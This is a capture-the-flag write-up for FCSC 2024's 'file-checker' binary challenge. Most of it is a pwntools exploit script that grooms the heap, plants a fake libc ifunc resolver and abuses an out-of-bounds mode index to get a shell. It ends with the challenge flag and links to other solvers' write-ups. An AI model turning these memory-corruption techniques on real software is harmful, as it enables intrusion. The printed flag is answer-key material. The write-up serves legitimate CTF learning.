#
file-checkerThis was a really interesting challenge from fcsc-2024
that had a total of two solves by the end of the ctf. I did not solve the challenge during the ctf, but after the ctf I was talking to one of the solvers @skuuk
about an alternate solution.
#
my solution abusing ifunc symbol resolution12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182
from pwn import *
from fake import fake_libc_resolver
import os
os.environ.setdefault("LD_BIND_NOW", "1")
context.terminal = ["kitty"]
gdbscript = """
set **(char[64] **)($rsp + 24) = "GCONV_PATH=/usr/lib/gconv"
c
"""
if args.REMOTE:
p = remote("nc challenges.france-cybersecurity-challenge.fr", 2101)
elif args.GDB:
p = gdb.debug("./patched", gdbscript=gdbscript)
def select(choice: int):
p.sendlineafter(b"> ", f"{choice}".encode())
def send_integer(idx: int):
p.sendlineafter(b":", f"{idx}".encode())
def prepare_file(idx: int, size: int, data: bytes):
select(1)
send_integer(idx)
send_integer(size)
p.sendafter(b": ", data)
def clean_file(idx: int):
select(2)
send_integer(idx)
def handle_file(idx: int, mode: int):
select(3)
send_integer(idx)
send_integer(mode)
modes = 0x00103d10
files = 0x00104060
out_of_bounds_mode = (files - modes) // 8 + 1
pages = 400
prepare_file(0, 128, b"r,ccs=NC_NC00-10\n")
prepare_file(1, 128, b"./flag.txt\n")
prepare_file(2, pages * 4096, b"meow\n")
clean_file(2)
fake_length = 0x24000
threshold = fake_length + (pages + 1) * 4096
payload = b"mr".ljust(0xff0 - 1, b"o") + b"w"
payload += p64(0)
payload += p64(threshold | 2)
payload += b"\n"
prepare_file(3, (pages + 1) * 4096, payload)
clean_file(2)
prepare_file(3, threshold, b"\n")
clean_file(3)
threshold += 0x1000
payload = b"tee".ljust(0xff0 - 2, b"e") + b"mo"
payload += p64(0)
payload += p64(threshold + 0x1000 | 2)
payload += b"\n"
prepare_file(4, threshold, payload)
clean_file(3)
threshold += 0x1000
log.info(f"threshold = {threshold:#x}")
payload = b"Z" * (threshold - fake_length + 0x1000 - 16)
payload += fake_libc_resolver(b"free\x00")
payload += b"\n"
prepare_file(4, threshold, payload)
log.info(f"mode = {out_of_bounds_mode}")
handle_file(1, out_of_bounds_mode)
p.interactive()
FCSC{93aa742b341b591bb4a6cad5c1b9c63ba382ec6f8dd373ca82fd7c777443fe44}
Below are the writeups from the people who solved during the ctf, I highly recommend reading them as well.
#
@skuuk
's solutionhttps://github.com/5kuuk/CTF-writeups/tree/main/fcsc24/file_checker
#
@voydstack
's solutionhttps://github.com/voydstack/FCSC2024/tree/main/file-checker